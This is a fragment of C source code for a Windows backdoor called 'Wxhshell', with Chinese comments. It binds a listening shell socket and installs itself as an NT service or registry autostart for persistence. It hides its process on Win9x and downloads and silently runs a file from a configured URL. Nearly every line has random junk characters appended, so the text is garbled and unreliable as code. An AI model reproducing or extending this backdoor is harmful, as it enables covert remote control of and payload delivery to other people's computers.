} PROCESS_BASIC_INFORMATION; R$Rub/b6
;NoiH&
PROCNTQSIP NtQueryInformationProcess; + *W%4e
MZrLLnl6\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dz6&TdEl
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W{$J)iQ
`w8Ejm?n
HANDLE hProcess; G1
K@Ir<
PROCESS_BASIC_INFORMATION pbi; a
S;z
YD
PIHix{YR
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m$.7) 24
if(NULL == hInst ) return 0; .DR*MQI9
<`V_H~Z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ([ jm=[E^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !U7}?i&H
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mI,a2wqi
NwcRH9};i
if (!NtQueryInformationProcess) return 0; Qef5eih
M7fPaJKL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6vfut$)[{
if(!hProcess) return 0; {1"kZL
u0Bz]Ux/Q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pzT,fmfk
Eo`'6
3
CloseHandle(hProcess); v8"Zru
z8dBfA<z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'F%h]4|1
if(hProcess==NULL) return 0; /g>]J70
g8R@ol0
HMODULE hMod; M?00n< vM
char procName[255]; =B{B?B"r
unsigned long cbNeeded; \"a~~Koe
B)x^S
>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3:aj8F2
|;(>q
CloseHandle(hProcess); jL{k!V`s
V
7oE\cxr
if(strstr(procName,"services")) return 1; // 以服务启动 ,`ba?O?*G
d"=)=hm!
return 0; // 注册表启动 )GfL?'Z
} sB*!Nf^y
v'Pbx
// 主模块 1j]vJ4R_\
int StartWxhshell(LPSTR lpCmdLine) rMoz+{1A
{ 58t_j54
SOCKET wsl; ,`8:@<e
BOOL val=TRUE; E#E&z (G2
int port=0; ^KJi|'B
struct sockaddr_in door; A6I^`0/
@8Cja.H
if(wscfg.ws_autoins) Install(); <M,<|Y*)
z:8ieJ)C
port=atoi(lpCmdLine); o?d`o$
L@S1C=-/
if(port<=0) port=wscfg.ws_port; R].xT-1
Y
8-;eqH
WSADATA data; OYfRtfE
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w!b;.l
u}?|d8$h\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; IC6'>2'=T
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;*{Ls#
door.sin_family = AF_INET; eF(oHn,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); NE><(02qW
door.sin_port = htons(port); ` Nv1sA#C
QBCEDv&j
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R"{P#U,HNO
closesocket(wsl); $T_>WUiK
return 1; +Mb}70^
} ( m7qc
:<H4hYt2
if(listen(wsl,2) == INVALID_SOCKET) { N>iNz[a
q
closesocket(wsl); jFl!<ooCo
return 1; T3Sz<K$E
} pI1g<pe
Wxhshell(wsl); !ZM*)6^
WSACleanup(); zhe~kI
g77 :92
return 0; .dn#TtQv
or"9I1o
} )=!|^M
g)}q3-<AK>
// 以NT服务方式启动 hGI5^!Cq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k_nQmU>
{ 7e[&hea
DWORD status = 0; %Q=rm!Syv
DWORD specificError = 0xfffffff; ]l"9B'XR
SB:z[kfz|
serviceStatus.dwServiceType = SERVICE_WIN32; )K]<\Q[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; od^o9(.W^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %"e hZd0r
serviceStatus.dwWin32ExitCode = 0; {5 3#Xd
serviceStatus.dwServiceSpecificExitCode = 0; k&:~l@?O
serviceStatus.dwCheckPoint = 0; @W=:r/
serviceStatus.dwWaitHint = 0; I5]58Ohx
Qnx?5R-}ZU
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xiVbVr#[
if (hServiceStatusHandle==0) return; #+
{%>f
1I%niQv5t
status = GetLastError(); L+lX$k
if (status!=NO_ERROR) %r@:7/
{ O4!!*0(+91
serviceStatus.dwCurrentState = SERVICE_STOPPED; !{ !(yP_
serviceStatus.dwCheckPoint = 0; PB#EU9
serviceStatus.dwWaitHint = 0; H|3CZ=U?
serviceStatus.dwWin32ExitCode = status; IH"_6s#$&
serviceStatus.dwServiceSpecificExitCode = specificError; uM[[skc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); EiS2-Uh*TT
return; Icx)+Mq
} aNgJm~K0P
L?(m5u~b
serviceStatus.dwCurrentState = SERVICE_RUNNING; q8&^E.K
serviceStatus.dwCheckPoint = 0; E?jb?
serviceStatus.dwWaitHint = 0; M(:_(4~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S-79uo
} (\4YBaGd
\*#E4`Y
// 处理NT服务事件,比如:启动、停止 ]{AHKyA{:
VOID WINAPI NTServiceHandler(DWORD fdwControl) {~V_6wY g
{ X=VaBy4#
switch(fdwControl) 4rypT-%^ ;
{ GXR7Ug}k
case SERVICE_CONTROL_STOP: \,G19o}`Es
serviceStatus.dwWin32ExitCode = 0; U8eU[|-8O/
serviceStatus.dwCurrentState = SERVICE_STOPPED; &D` $YUl@
serviceStatus.dwCheckPoint = 0; }<q=Zq+
serviceStatus.dwWaitHint = 0; w69G6G(
{ ,U fB{BW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RPkOtRKL=w
} -];Hb'M.!e
return; h:
zi8;(
case SERVICE_CONTROL_PAUSE: E6xWo)`%5s
serviceStatus.dwCurrentState = SERVICE_PAUSED; hOe$h,E']
break; q X]ej2
case SERVICE_CONTROL_CONTINUE: iJk/fvi
serviceStatus.dwCurrentState = SERVICE_RUNNING; !6_tdZ
break; *jl_,0g]
case SERVICE_CONTROL_INTERROGATE: !^3j9<|@'
break; 7mYBxE/
}; /?C6oj1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~{D:vj4>
} h)T-7b
F5<GGEQb
// 标准应用程序主函数 _p| KaT``
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {N0ky=ud
{ cWa>rUsF
gC/-7/}
// 获取操作系统版本 fG /wU$B
OsIsNt=GetOsVer(); eS"sd^;R
GetModuleFileName(NULL,ExeFile,MAX_PATH); (d-j/v*4
Mp^U)S+
// 从命令行安装 nHB`<B
if(strpbrk(lpCmdLine,"iI")) Install(); yXA]E.K!
Xqas[:)7+
// 下载执行文件 LiD-su
D
if(wscfg.ws_downexe) { MP`WU} 2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _ 3>|1RB
WinExec(wscfg.ws_filenam,SW_HIDE); m} nA-*
} 1I U*:Z;Rz
~{s7(^ P
if(!OsIsNt) { I[ I]C9D
// 如果时win9x,隐藏进程并且设置为注册表启动 zyFbu=d|O:
HideProc(); ,lw<dB@7"5
StartWxhshell(lpCmdLine); &?7+8n&+
} }UHoa
else B9h>
if(StartFromService()) S?m4
// 以服务方式启动 .:jfNp~jt
StartServiceCtrlDispatcher(DispatchTable); +luW=j0V
else "O{:jfq
// 普通方式启动 w5}2$r
StartWxhshell(lpCmdLine); _:9-x;0H2
"zN]gz=OV>
return 0; )IZ~!N|-w
}